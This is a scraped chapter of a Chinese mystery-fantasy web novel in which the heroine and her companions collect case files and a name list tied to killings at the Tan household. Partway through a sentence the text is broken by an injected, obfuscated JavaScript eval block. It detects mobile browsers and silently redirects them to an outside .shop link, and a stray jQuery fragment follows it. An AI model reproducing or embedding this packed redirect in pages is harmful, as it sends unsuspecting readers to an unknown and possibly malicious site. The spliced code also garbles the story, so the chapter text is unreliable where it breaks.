文趣网 > 其他小说 > 且听旧岁[探案] > 13. 第①③章
    他不说,她都快忘了。

    早在四个月前,解思弦身为少宗主带队猎精师去容州城缉拿精怪,队中猎精师却在返程途中意外发觉一具男尸,经仵作推断死亡时间,是在四年前。

    解思弦将尸体带回上京,她本想着自己去调查这具尸体的来历,宗主解唯却在此时远程报信,为了血簪讯息,让她看好谭府。

    她一时分身乏术,也就只好将这具男尸交给刑部处理。

    “案发后我立刻派人去了一趟容州城,目前已可以确定此人身份。”

    “此人名唤毛湛青,巧的便是,他在容州城时曾是谭大公子谭子昭的管事,只不过这管事做了几个月,谭子昭回京,他也就此失踪。”

    “就查到这些?”解思弦狐疑。

    莫秋摇了摇头:“仵作说致命伤在右胸,凶手行凶时应是用短刀、匕首之类的尖锐利器反复刺入,致其毙命。”

    “确定是短刀、匕首?”解思弦扬唇,反复确认。

    这很难不令人想起前日夜晚,与她打斗之人手中用的正是匕首。

    罗怜玉的匕首在夜空中失了方向,行动大乱,对于这些场景,她还历历在目。

    得到莫秋肯定回答后,她心中也有了底。

    是啊,她被血簪幻化,原身作为琵琶,打起架来却不用琵琶,用匕首。

    她寻思匕首也不能用来弹琵琶。

    “如果是匕首,那就太巧了。”解思弦压低声音道,以至于莫秋并未听清。

    “少宗主你说什么?”

    解思弦眉眼弯弯,摇头表示:“无事。”

    说于此,她还不忘往窗外一探。“时辰差不多了,我一个非文非武的闲杂人就先行一步了。”

    莫秋不明她为何要着急走,他快步追上,而她只是淡淡地丢下最后一句话。

    “那谭府的两兄弟,劳烦侍郎大人好生照顾。”

    鲜艳的红行走利落,她没有回头,连一个眼神也没给。

    出了刑部侍郎的休息室,解思弦连转角都没走到,就见两位鬼鬼祟祟地商讨着。

    干什么呢?她心中好奇。

    显然两位少年并未注意到来人,仍是你一言,我一语。

    两人十分张扬的站在刑部二层正中心,偶尔有官吏擦肩而过,他们也不为所动。

    看来隐身术还未失效,而她的术法也得到长进。

    “东西拿到了吗?”解思弦毫不犹豫上前,没有一点前兆,把黄衣少年吓一跳。

    “少宗主你吓我。”魏玄神色难言,他脱口而出。

    解思弦看他好笑,便也欠兮兮地回了一句:“我故意的,你要杀了我吗?”

    此话一出,就连他身侧沉默“百年”的裴承砚都忍不住轻声一笑。

    她见他还特意转过身去,生怕旁人发现。

    待气氛平稳,解思弦淡然伸手:“好了,不闹了,东西呢?”

    半柱香前,她去找刑部侍郎,于是便嘱咐二人去刑部藏卷阁找容州城四年前的悬案卷宗。

    两人靠着隐身术在刑部自由穿梭,东西自然也拿到了。

    裴承砚缓过来,抬起拿着捉妖袋的手向她示意。

    “悬案共三十八起,都在这里面。”

    解思弦甚是满意,她转而道:“没想到你这个袋子还能存东西,我以为就用来收妖怪呢。”

    想来此等宝物,也就只有江南裴家有了。

    解思弦展颜一笑:“你们身上的隐身术时限快到了,走吧,回谭府。”

    从刑部至城东谭府的一路上天色暗淡,雨丝绵密。

    街巷飘过凉风细雨,来来往往的人皆藏匿于伞面之下。

    上京幽幽,朝堂暗流涌动,宗派更是为了一点血簪的下落争得你死我活,到底何时才能消停消停?

    难说。

    这上京细雨如丝,最喜便是牵动往来者的心弦,纵使是灵妖宗少宗主也难逃。

    解思弦在别人注意不到的地方轻叹,直到“谭府”两个大字闯入视线。

    “诶!你们回来啦,我差点以为你们去灵妖宗了,整个谭府空不见人的。”

    此时此刻,一妖一精,连带一整日戴面具装神弄鬼的人,在外站的板正。

    看样子三人是一同从灵妖宗赶回来的。

    “进去说吧。”解思弦收敛神色,道。

    几人都会了意,让解思弦走在最前头。

    现今几乎没人想回谭大公子的寝房,那地实在瘆人,最终还是几人商讨一番,去了府中库房。

    脏是脏了些,但至少不可怖。

    几人有序落座,却无人发话。

    解思弦寻常扫视,并未想好说什么,该说的早在几人传信时就说好了。

    她见着罗怜玉也不知从库房哪个角落翻出一把琵琶来,娴熟地拨起琴弦。

    琴音绕着整个库房,一圈又一圈。

    半晌过去,坐在最侧边的人动了动,应千崇抬手拿出余掌柜所写的名册。

    余掌柜一共写了两张,这另一张,当前就在解思弦手中。

    她见了,也顺便将属于应千崇的木鸟归还。

    他双手接过,并将名册递出。

    “萧燕然所说,他还带红袖坊的余掌柜见了另一具尸体,正是谭府后院井中的死尸,也在这个名册上。”

    他说的正是后院那个琵琶手。

    应千崇刚将此物递出,就坐他对面的黄衣少年下意识好奇伸手,然而对面之人反应极其迅速,魏玄也就此摸了个空。

    裴承砚看他先是一愣,后又尴尬地收回手。

    名册自然是到了解思弦手中,六个名字歪歪扭扭地躺在纸上。

    解思弦眼见,不自觉喃喃:

    “颜铃,索殊

    乐笙,沙还

    明谣,令夕。”

    “余掌柜可还说了些什么?”解思弦照常问道。

    应千崇张口,却被打断。

    “嘣——”

    琵琶弦猝不及防地断裂,霎时,音曲终止。

    罗怜玉愣愣地盯着自己的双手。

    怎么就断了呢……

    她转瞬没好气道:“城东谭府好歹是富贵人家,怎么用这么差的琵琶。”

    解思弦看到那根掉落的琴弦被罗怜玉快速抓起,丢至一个布满尘埃的角落。

    应千崇继续道:“余掌柜说,这张名册上的人,是第一批被卖去谭府的,在这之上,索殊生前是名册上所有人的师傅。”

    索殊,也就是井下那具男尸。

    魏玄见他们讲的头

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752935|209206||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头是道,他一脸茫然。

    他们在说什么呢?他怎么听不懂啊。

    听不懂的不止他,还有裴承砚。

    青衣少男也是一副有口难言的表情。

    也只有两人被蒙在鼓里了。

    魏玄先一步举手问道:“等等等等,什么红袖坊的?”

    他正视着带狐狸面具之人,语气无奈:“你们外出到底查到了些什么?上次在此说好的要还世清白,查到什么却不相互告知。”

    在他眼中,几人探讨就如光明正大的“窃窃私语”。

    解思弦注意到他这边,便立马将手中的信纸与名册交了出去。

    “是我疏忽,你与裴公子看完这两张纸便明白了。”

    他刚接过两张纸,库房又一次响起了琵琶声。

    罗怜玉弃了方才用的那把琵琶,从库房角落又找了一把,这次她干脆直接坐在角落的箱子上,奏起曲子。

    这很难不让人回头看去。

    她这回弹的曲子音律怪异,不禁令人毛骨悚然。

    “你们谈你们的,别看我。”罗怜玉低着头,专心致志盯着几根弦。

    此言一出,几人收回视线。

    裴承砚和魏玄两人交换着看纸上的内容,大概一刻钟的时间,才彻底恍然大悟。

    第一批的六个人加上第二批的青鸣,一共七人。

    先是令夕的死讯传回红袖坊,后在府内又先后找到索殊和青鸣的尸首,所以名册上剩下的四人很有可能就是杀死谭子昭的凶手。

    幸沧双瞟了一眼二人,她两手托腮,补充道:

    “余掌柜还说,四年前青鸣自愿同谭子昭回上京,但条件是要谭子昭将红袖坊开到上京,谭子昭也就咬咬牙应了。”

    所以近几年上京也就有了——“来上京不去红袖坊,更待何时?”一说。

    不知为何,魏玄看到“令夕”这个名字只觉得着实眼熟,可能是曾在哪见过。

    他也不敢胡思乱想,于是就此作罢。

    然而,裴承砚却郑重其事道:“罗怜玉,你也为琵琶手,上京四处青楼,你又来自何处?师承何人?”

    罗怜玉先是鄙夷地看他一眼,随后讽道:“呵,我原身本就为琵琶,还需要什么人来教我?”

    裴承砚:“但你是精,不是妖。”

    妖怪能生来便是妖,但精怪不行。

    “被血簪幻化成精怪的条件,是执念深重的逝者魂魄与器物结合……”

    裴承砚才分析到一半,就被罗怜玉打断。

    “我生前无师,成精后亦无,自学成才。”罗怜玉信誓旦旦。

    “还有,你们一口一个令夕,令夕的尸首又在哪?”

    她连忙转移话题,顿时堵得裴承砚哑口无言。

    也是,余掌柜只说令夕已死,但不曾说道尸首于何处,又是如何被杀,被谁所杀。

    库房气氛一时陷入冷清,明明还只是巳时,库房却如入了夜般。

    幸沧双:“那我们接下来怎么做?继续去询问那个余掌柜吗?”

    解思弦听闻摇了摇头,她心中已经有了答案,只是比出一个“嘘”的手势。

    “等。”

    等,就是最优解。

    若没猜错,莫秋那边已经动身了。